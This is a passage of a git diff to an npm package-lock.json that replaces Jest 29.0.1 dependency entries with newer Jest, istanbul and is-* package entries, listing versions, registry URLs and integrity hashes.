"https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/is-string": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-string/-/is-string-1.1.1.tgz", + "integrity": "sha512-BtEeSsoaQjlSPBemMQIrY1MY0uM6vnS1g5fmufYOtnxLGUZM2178PKbhsk7Ffv58IX+ZtcvoGwccYsh0PglkAA==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "call-bound": "^1.0.3", + "has-tostringtag": "^1.0.2" }, "engines": { - "node": ">=8" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-message-util/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/is-symbol": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-symbol/-/is-symbol-1.1.1.tgz", + "integrity": "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w==", "dev": true, + "license": "MIT", "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "call-bound": "^1.0.2", + "has-symbols": "^1.1.0", + "safe-regex-test": "^1.1.0" }, "engines": { - "node": ">=10" + "node": ">= 0.4" }, "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-message-util/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", - "dev": true, + "node_modules/is-typed-array": { + "version": "1.1.15", + "resolved": "https://registry.npmjs.org/is-typed-array/-/is-typed-array-1.1.15.tgz", + "integrity": "sha512-p3EcsicXjit7SaskXHs1hA91QxgTw46Fv6EFKKGS5DRFLD8yKnohjF3hxoju94b/OcMZoQukzpPpBE9uLVKzgQ==", + "license": "MIT", "dependencies": { - "color-name": "~1.1.4" + "which-typed-array": "^1.1.16" }, "engines": { - "node": ">=7.0.0" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-message-util/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true + "node_modules/is-typedarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-typedarray/-/is-typedarray-1.0.0.tgz", + "integrity": "sha1-5HnICFjfDBsR3dppQPlgEfzaSpo=" }, - "node_modules/jest-message-util/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/is-weakmap": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/is-weakmap/-/is-weakmap-2.0.2.tgz", + "integrity": "sha512-K5pXYOm9wqY1RgjpL3YTkF39tni1XajUIkawTLUo9EZEVUFga5gSQJF8nNS7ZwJQ02y+1YCNYcMh+HIf1ZqE+w==", "dev": true, + "license": "MIT", "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-message-util/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/is-weakref": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/is-weakref/-/is-weakref-1.1.1.tgz", + "integrity": "sha512-6i9mGWSlqzNMEqpCp93KwRS1uUOodk2OJ6b+sq7ZPDSy2WuI5NFIxp/254TytR8ftefexkWn5xNiHUNpPOfSew==", "dev": true, + "license": "MIT", "dependencies": { - "has-flag": "^4.0.0" + "call-bound": "^1.0.3" }, "engines": { - "node": ">=8" + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-mock": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.0.1.tgz", - "integrity": "sha512-i1yTceg2GKJwUNZFjIzrH7Y74fN1SKJWxQX/Vu3LT4TiJerFARH5l+4URNyapZ+DNpchHYrGOP2deVbn3ma8JA==", + "node_modules/is-weakset": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/is-weakset/-/is-weakset-2.0.4.tgz", + "integrity": "sha512-mfcwb6IzQyOKTs84CQMrOwW4gQcaTOAWJ0zzJCl2WSPDrWk/OzDaImWFH3djXhb24g4eudZfLRozAvPGw4d9hQ==", "dev": true, + "license": "MIT", "dependencies": { - "@jest/types": "^29.0.1", - "@types/node": "*" + "call-bound": "^1.0.3", + "get-intrinsic": "^1.2.6" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } - }, - "node_modules/jest-pnp-resolver": { - "version": "1.2.2", - "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.2.tgz", - "integrity": "sha512-olV41bKSMm8BdnuMsewT4jqlZ8+3TCARAXjZGT9jcoSnrfUnRCqnMoF9XEeoWjbzObpqF9dRhHQj0Xb9QdF6/w==", - "dev": true, - "engines": { - "node": ">=6" - }, - "peerDependencies": { - "jest-resolve": "*" + "node": ">= 0.4" }, - "peerDependenciesMeta": { - "jest-resolve": { - "optional": true - } + "funding": { + "url": "https://github.com/sponsors/ljharb" } }, - "node_modules/jest-regex-util": { - "version": "29.0.0", - "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.0.0.tgz", - "integrity": "sha512-BV7VW7Sy0fInHWN93MMPtlClweYv2qrSCwfeFWmpribGZtQPWNvRSq9XOVgOEjU1iBGRKXUZil0o2AH7Iy9Lug==", - "dev": true, - "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" - } + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE=" }, - "node_modules/jest-resolve": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.0.1.tgz", - "integrity": "sha512-dwb5Z0lLZbptlBtPExqsHfdDamXeiRLv4vdkfPrN84vBwLSWHWcXjlM2JXD/KLSQfljBcXbzI/PDvUJuTQ84Nw==", + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=", + "dev": true + }, + "node_modules/isobject": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-3.0.1.tgz", + "integrity": "sha512-WhB9zCku7EGTj/HQQRz5aUQEUeoQZH2bWcltRErOpymJ4boYE6wL9Tbr23krRPSZ+C5zqNSrSw+Cc7sZZ4b7vg==", "dev": true, - "dependencies": { - "chalk": "^4.0.0", - "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-pnp-resolver": "^1.2.2", - "jest-util": "^29.0.1", - "jest-validate": "^29.0.1", - "resolve": "^1.20.0", - "resolve.exports": "^1.1.0", - "slash": "^3.0.0" - }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=0.10.0" } }, - "node_modules/jest-resolve-dependencies": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.0.1.tgz", - "integrity": "sha512-fUGcYlSc1NzNz+tsHDjjG0rclw6blJcFZsLEsezxm/n54bAm9HFvJxgBuCV1CJQoPtIx6AfR+tXkR9lpWJs2LQ==", + "node_modules/isomorphic-ws": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/isomorphic-ws/-/isomorphic-ws-5.0.0.tgz", + "integrity": "sha512-muId7Zzn9ywDsyXgTIafTry2sV3nySZeUDe6YedVd1Hvuuep5AsIlqK+XefWpYTyJG5e503F2xIuT2lcU6rCSw==", + "peerDependencies": { + "ws": "*" + } + }, + "node_modules/isstream": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/isstream/-/isstream-0.1.2.tgz", + "integrity": "sha1-R+Y/evVa+m+S4VAOaQ64uFKcCZo=" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.0.tgz", + "integrity": "sha512-eOeJ5BHCmHYvQK7xt9GkdHuzuCGS1Y6g9Gvnx3Ym33fz/HpLRYxiS0wHNr+m/MBC8B647Xt608vCDEvhl9c6Mw==", "dev": true, - "dependencies": { - "jest-regex-util": "^29.0.0", - "jest-snapshot": "^29.0.1" - }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=8" } }, - "node_modules/jest-resolve/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/istanbul-lib-instrument": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.0.tgz", + "integrity": "sha512-x58orMzEVfzPUKqlbLd1hXCnySCxKdDKa6Rjg97CwuLLRI4g3FHTdnExu1OqffVFay6zeMW+T6/DowFLndWnIw==", "dev": true, "dependencies": { - "color-convert": "^2.0.1" + "@babel/core": "^7.12.3", + "@babel/parser": "^7.14.7", + "@istanbuljs/schema": "^0.1.2", + "istanbul-lib-coverage": "^3.2.0", + "semver": "^7.5.4" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": ">=10" } }, - "node_modules/jest-resolve/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/istanbul-lib-instrument/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" }, "engines": { "node": ">=10" - }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" } }, - "node_modules/jest-resolve/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", "dev": true, "dependencies": { - "color-name": "~1.1.4" + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" }, "engines": { - "node": ">=7.0.0" + "node": ">=10" } }, - "node_modules/jest-resolve/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-resolve/node_modules/has-flag": { + "node_modules/istanbul-lib-report/node_modules/has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", @@ -11330,7 +9576,7 @@ "node": ">=8" } }, - "node_modules/jest-resolve/node_modules/supports-color": { + "node_modules/istanbul-lib-report/node_modules/supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", @@ -11342,536 +9588,705 @@ "node": ">=8" } }, - "node_modules/jest-runner": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.0.1.tgz", - "integrity": "sha512-XeFfPmHtO7HyZyD1uJeO4Oqa8PyTbDHzS1YdGrvsFXk/A5eXinbqA5a42VUEqvsKQgNnKTl5NJD0UtDWg7cQ2A==", + "node_modules/istanbul-lib-source-maps": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", + "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/MrWVw==", "dev": true, "dependencies": { - "@jest/console": "^29.0.1", - "@jest/environment": "^29.0.1", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", - "chalk": "^4.0.0", - "emittery": "^0.10.2", - "graceful-fs": "^4.2.9", - "jest-docblock": "^29.0.0", - "jest-environment-node": "^29.0.1", - "jest-haste-map": "^29.0.1", - "jest-leak-detector": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-resolve": "^29.0.1", - "jest-runtime": "^29.0.1", - "jest-util": "^29.0.1", - "jest-watcher": "^29.0.1", - "jest-worker": "^29.0.1", - "p-limit": "^3.1.0", - "source-map-support": "0.5.13" + "debug": "^4.1.1", + "istanbul-lib-coverage": "^3.0.0", + "source-map": "^0.6.1" }, "engines": { - "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + "node": ">=10" } }, - "node_modules/jest-runner/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/istanbul-reports": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.1.6.tgz", + "integrity": "sha512-TLgnMkKg3iTDsQ9PbPTdpfAK2DzjF9mqUG7RMgcQl8oFjad8ob4laGxv5XV5U9MAfx8D6tSJiUyuAwzLicaxlg==", "dev": true, "dependencies": { - "color-convert": "^2.0.1" + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" }, "engines": { "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" } }, - "node_modules/jest-runner/node_modules/chalk": { - "version": "4.1.2", - "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", - "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "node_modules/jest": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", + "integrity": "sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==", "dev": true, "dependencies": { - "ansi-styles": "^4.1.0", - "supports-color": "^7.1.0" + "@jest/core": "^29.7.0", + "@jest/types": "^29.6.3", + "import-local": "^3.0.2", + "jest-cli": "^29.7.0" + }, + "bin": { + "jest": "bin/jest.js" }, "engines": { - "node": ">=10" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" }, - "funding": { - "url": "https://github.com/chalk/chalk?sponsor=1" + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/jest-runner/node_modules/color-convert": { - "version": "2.0.1", - "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", - "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "node_modules/jest-changed-files": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", + "integrity": "sha512-fEArFiwf1BpQ+4bXSprcDc3/x4HSzL4al2tozwVpDFpsxALjLYdyiIK4e5Vz66GQJIbXJ82+35PtysofptNX2w==", "dev": true, "dependencies": { - "color-name": "~1.1.4" + "execa": "^5.0.0", + "jest-util": "^29.7.0", + "p-limit": "^3.1.0" }, "engines": { - "node": ">=7.0.0" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-runner/node_modules/color-name": { - "version": "1.1.4", - "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", - "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", - "dev": true - }, - "node_modules/jest-runner/node_modules/has-flag": { - "version": "4.0.0", - "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", - "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "node_modules/jest-circus": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", + "integrity": "sha512-3E1nCMgipcTkCocFwM90XXQab9bS+GMsjdpmPrlelaxwD93Ad8iVEjX/vvHPdLPnFf+L40u+5+iutRdA1N9myw==", "dev": true, + "dependencies": { + "@jest/environment": "^29.7.0", + "@jest/expect": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "@types/node": "*", + "chalk": "^4.0.0", + "co": "^4.6.0", + "dedent": "^1.0.0", + "is-generator-fn": "^2.0.0", + "jest-each": "^29.7.0", + "jest-matcher-utils": "^29.7.0", + "jest-message-util": "^29.7.0", + "jest-runtime": "^29.7.0", + "jest-snapshot": "^29.7.0", + "jest-util": "^29.7.0", + "p-limit": "^3.1.0", + "pretty-format": "^29.7.0", + "pure-rand": "^6.0.0", + "slash": "^3.0.0", + "stack-utils": "^2.0.3" + }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-runner/node_modules/jest-worker": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.0.1.tgz", - "integrity": "sha512-+B/2/8WW7goit7qVezG9vnI1QP3dlmuzi2W0zxazAQQ8dcDIA63dDn6j4pjOGBARha/ZevcwYQtNIzCySbS7fQ==", + "node_modules/jest-cli": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", + "integrity": "sha512-OVVobw2IubN/GSYsxETi+gOe7Ka59EFMR/twOU3Jb2GnKKeMGJB5SGUUrEz3SFVmJASUdZUzy83sLNNQ2gZslg==", "dev": true, "dependencies": { - "@types/node": "*", - "merge-stream": "^2.0.0", - "supports-color": "^8.0.0" + "@jest/core": "^29.7.0", + "@jest/test-result": "^29.7.0", + "@jest/types": "^29.6.3", + "chalk": "^4.0.0", + "create-jest": "^29.7.0", + "exit": "^0.1.2", + "import-local": "^3.0.2", + "jest-config": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "yargs": "^17.3.1" + }, + "bin": { + "jest": "bin/jest.js" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" + }, + "peerDependencies": { + "node-notifier": "^8.0.1 || ^9.0.0 || ^10.0.0" + }, + "peerDependenciesMeta": { + "node-notifier": { + "optional": true + } } }, - "node_modules/jest-runner/node_modules/jest-worker/node_modules/supports-color": { - "version": "8.1.1", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", + "node_modules/jest-config": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", + "integrity": "sha512-uXbpfeQ7R6TZBqI3/TxCU4q4ttk3u0PJeC+E0zbfSoSjq6bJ7buBPxzQPL0ifrkY4DNu4JUdk0ImlBUYi840eQ==", "dev": true, "dependencies": { - "has-flag": "^4.0.0" + "@babel/core": "^7.11.6", + "@jest/test-sequencer": "^29.7.0", + "@jest/types": "^29.6.3", + "babel-jest": "^29.7.0", + "chalk": "^4.0.0", + "ci-info": "^3.2.0", + "deepmerge": "^4.2.2", + "glob": "^7.1.3", + "graceful-fs": "^4.2.9", + "jest-circus": "^29.7.0", + "jest-environment-node": "^29.7.0", + "jest-get-type": "^29.6.3", + "jest-regex-util": "^29.6.3", + "jest-resolve": "^29.7.0", + "jest-runner": "^29.7.0", + "jest-util": "^29.7.0", + "jest-validate": "^29.7.0", + "micromatch": "^4.0.4", + "parse-json": "^5.2.0", + "pretty-format": "^29.7.0", + "slash": "^3.0.0", + "strip-json-comments": "^3.1.1" }, "engines": { - "node": ">=10" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" }, - "funding": { - "url": "https://github.com/chalk/supports-color?sponsor=1" + "peerDependencies": { + "@types/node": "*", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + }, + "ts-node": { + "optional": true + } } }, - "node_modules/jest-runner/node_modules/source-map-support": { - "version": "0.5.13", - "resolved": "https://registry.npmjs.org/source-map-support/-/source-map-support-0.5.13.tgz", - "integrity": "sha512-SHSKFHadjVA5oR4PPqhtAVdcBWwRYVd6g6cAXnIbRiIwc2EhPrTuKUBdSLvlEKyIP3GCf89fltvcZiP9MMFA1w==", + "node_modules/jest-diff": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", + "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==", "dev": true, "dependencies": { - "buffer-from": "^1.0.0", - "source-map": "^0.6.0" + "chalk": "^4.0.0", + "diff-sequences": "^29.6.3", + "jest-get-type": "^29.6.3", + "pretty-format": "^29.7.0" + }, + "engines": { + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-runner/node_modules/supports-color": { - "version": "7.2.0", - "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", - "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "node_modules/jest-docblock": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", + "integrity": "sha512-q617Auw3A612guyaFgsbFeYpNP5t2aoUNLwBUbc/0kD1R4t9ixDbyFTHd1nok4epoVFpr7PmeWHrhvuV3XaJ4g==", "dev": true, "dependencies": { - "has-flag": "^4.0.0" + "detect-newline": "^3.0.0" }, "engines": { - "node": ">=8" + "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-runtime": { - "version": "29.0.1", - "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.0.1.tgz", - "integrity": "sha512-yDgz5OE0Rm44PUAfTqwA6cDFnTYnVcYbRpPECsokSASQ0I5RXpnKPVr2g0CYZWKzbsXqqtmM7TIk7CAutZJ7gQ==", - "dev": true, - "dependencies": { - "@jest/environment": "^29.0.1", - "@jest/fake-timers": "^29.0.1", - "@jest/globals": "^29.0.1", - "@jest/source-map": "^29.0.0", - "@jest/test-result": "^29.0.1", - "@jest/transform": "^29.0.1", - "@jest/types": "^29.0.1", - "@types/node": "*", + "node_modules/jest-each": { + "version": "29.7.0", + "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", + "integrity": "sha512-gns+Er14+ZrEoC5fhOfYCY1LOHHr0TI+rQUHZS8Ttw2l7gl+80eHc/gFf2Ktkw0+SIACDTeWvpFcv3B04VembQ==", + "dev": true, + "dependencies": { + "@jest/types": "^29.6.3", "chalk": "^4.0.0", - "cjs-module-lexer": "^1.0.0", - "collect-v8-coverage": "^1.0.0", - "glob": "^7.1.3", - "graceful-fs": "^4.2.9", - "jest-haste-map": "^29.0.1", - "jest-message-util": "^29.0.1", - "jest-mock": "^29.0.1", - "jest-regex-util": "^29.0.0", - "jest-resolve": "^29.0.1", - "jest-snapshot": "^29.0.1", - "jest-util": "^29.0.1", - "slash": "^3.0.0", - "strip-bom": "^4.0.0" + "jest-get-type": "^29.6.3", + "jest-util": "^29.7.0", + "pretty-format": "^29.7.0" }, "engines": { "node": "^14.15.0 || ^16.10.0 || >=18.0.0" } }, - "node_modules/jest-runtime/node_modules/ansi-styles": { - "version": "4.3.0", - "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", - "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "node_modules/jest-environment-jsdom": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/jest-environment-jsdom/-/jest-environment-jsdom-30.0.5.tgz", + "integrity": "sha512-BmnDEoAH+jEjkPrvE9DTKS2r3jYSJWlN/r46h0/DBUxKrkgt2jAZ5Nj4wXLAcV1KWkRpcFqA5zri9SWzJZ1cCg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/environment": "30.0.5", + "@jest/environment-jsdom-abstract": "30.0.5", + "@types/jsdom": "^21.1.7", + "@types/node": "*", + "jsdom": "^26.1.0" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + }, + "peerDependencies": { + "canvas": "^3.0.0" + }, + "peerDependenciesMeta": { + "canvas": { + "optional": true + } + } + }, + "node_modules/jest-environment-jsdom/node_modules/@jest/environment": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/environment/-/environment-30.0.5.tgz", + "integrity": "sha512-aRX7WoaWx1oaOkDQvCWImVQ8XNtdv5sEWgk4gxR6NXb7WBUnL5sRak4WRzIQRZ1VTWPvV4VI4mgGjNL9TeKMYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jest/fake-timers": "30.0.5", + "@jest/types": "30.0.5", + "@types/node": "*", + "jest-mock": "30.0.5" + }, + "engines": { + "node": "^18.14.0 || ^20.0.0 || ^22.0.0 || >=24.0.0" + } + }, + "node_modules/jest-environment-jsdom/node_modules/@jest/fake-timers": { + "version": "30.0.5", + "resolved": "https://registry.npmjs.org/@jest/fake-timers/-/fake-timers-30.0.5.tgz", + "integrity": "sha512-ZO5DHfNV+kgEAeP3gK3XlpJLL4U3Sz6ebl/n68Uwt64qFFs5bv4bfEEjyRGK5uM0C90ewooNgFuKMdkbEoMEXw==", "dev": true, + "license": "MIT", "dependencies": { - "color-convert": "^2.0.1" + "@jest/types": "30.0.5", + "@sinonjs/fake-timers": "^13.0.0", + "@types/node": "*", + "jest-message-util": "30.0.5", + "jest-mock": "30.0.5", + "jest-util": "30.0.5" }, "engines": { - "node": ">=8" - }, - "funding": { - "url": "https://github.com/chalk/ansi-styles?sponsor=1" + "node": "^18.14.0 || 